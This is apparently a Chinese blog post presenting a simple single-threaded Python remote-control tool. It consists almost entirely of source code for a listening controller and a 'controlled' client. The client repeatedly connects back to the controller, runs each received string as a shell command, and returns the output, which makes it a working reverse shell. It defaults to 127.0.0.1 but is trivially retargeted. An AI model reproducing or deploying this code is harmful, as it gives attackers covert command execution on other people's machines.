Python简易远控(单线程版)

1. 技术:管道通信,流文件处理,socket基础


2. Tips:

默认IP:127.0.0.1

默认端口:7676


3. 代码样例


服务端


#!/usr/bin/env python  
# encoding: utf-8  

import socket
import sys
from os import *

reload(sys)  
sys.setdefaultencoding("utf-8")  

def socketInit():
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	return s

def socketDeal(s,HOST,PORT):
	s.bind((HOST,PORT))
	s.listen(1)

def ControlModule(sS,addr):
	recv_buffer = sS.recv(20048)
	if recv_buffer == "[-]Error:Server is OFF" or recv_buffer == "[*]Server is OFF":
		print recv_buffer
		sys.exit(0)
	else:
		print recv_buffer
	send_buf = raw_input(addr[0]+">")
	sS.send(send_buf)


def main():
	HOST = "127.0.0.1"
	PORT = 7676
	s = socketInit()
	socketDeal(s, HOST, PORT)
	sS,addr = s.accept()
	print "Connect from " + addr[0] + ":" + repr(addr[1])
	try:
		while True:
			ControlModule(sS,addr)
	except Exception as e:
		print "[-]Connect Error"
		sS.close()
		s.close()
		sys.exit(-1)
	except KeyboardInterrupt:
		sS.close()
		s.close()
		sys.exit(0)

if __name__ == '__main__':
	main()


受控端:


#!/usr/bin/env python  
# encoding: utf-8  

import socket
import sys
import re
import traceback
import tempfile
from os import *
from subprocess import *

reload(sys)  
sys.setdefaultencoding("utf-8")  

def socketInit():
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	return s

def socketConn(s,HOST,PORT):
	while True:
		try:
			s.connect((HOST,PORT))
		except Exception as e:
			continue
		else:
			s.send("Welcome Sir ~")
			break


def String_Deal(recv,send):
	P_str = re.findall("cd(.*)|(\w):", recv)
	if P_str!=[] and send == "":
		if P_str[0][0]!="":
			try:
				chdir(P_str[0][0].strip())
			except Exception as e:
				flag = -1
			else:
				flag = 1
		else:
			try:
				chdir(recv)
			except Exception as e:
				#traceback.print_exc()
				flag = -1
			else:
				flag = 1
	else:
		if send == "":
			flag = 1
		else:
			flag = 0
	return flag

def OpenProcess(s):
	try:
		while True:
			recv_buf = s.recv(2048)
			#流文件技术,防止管道阻塞
			out_temp = tempfile.SpooledTemporaryFile(bufsize=10*1000)
			fileNo = out_temp.fileno()
			cmd = Popen(recv_buf, shell=True,stdin=PIPE, stdout=fileNo, stderr=STDOUT)
			cmd.wait()
			out_temp.seek(0)
			send_buf = out_temp.read()
			#print len(send_buf)
			#输入命令字符串处理识别
			flag = String_Deal(recv_buf,send_buf)
			if flag == 1:
				s.send("OK")
			elif flag == -1:
				s.send("Error!!")
			else:
				s.send(send_buf)
			send_buf = ""
	except Exception as e:
		try:
			s.send("[-]Error:Server is OFF")
		except Exception as e:
			pass
			s.close()
		sys.exit(-1)		
	except KeyboardInterrupt:
		try:
			s.send("[*]Server is OFF")
		except Exception as e:
			pass
		s.close()
		sys.exit(0)	
def main():
	flag = 0
	HOST = "127.0.0.1"
	PORT = 7676
	s = socketInit()
	socketConn(s, HOST, PORT)
	OpenProcess(s)


if __name__ == '__main__':
	main()


评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值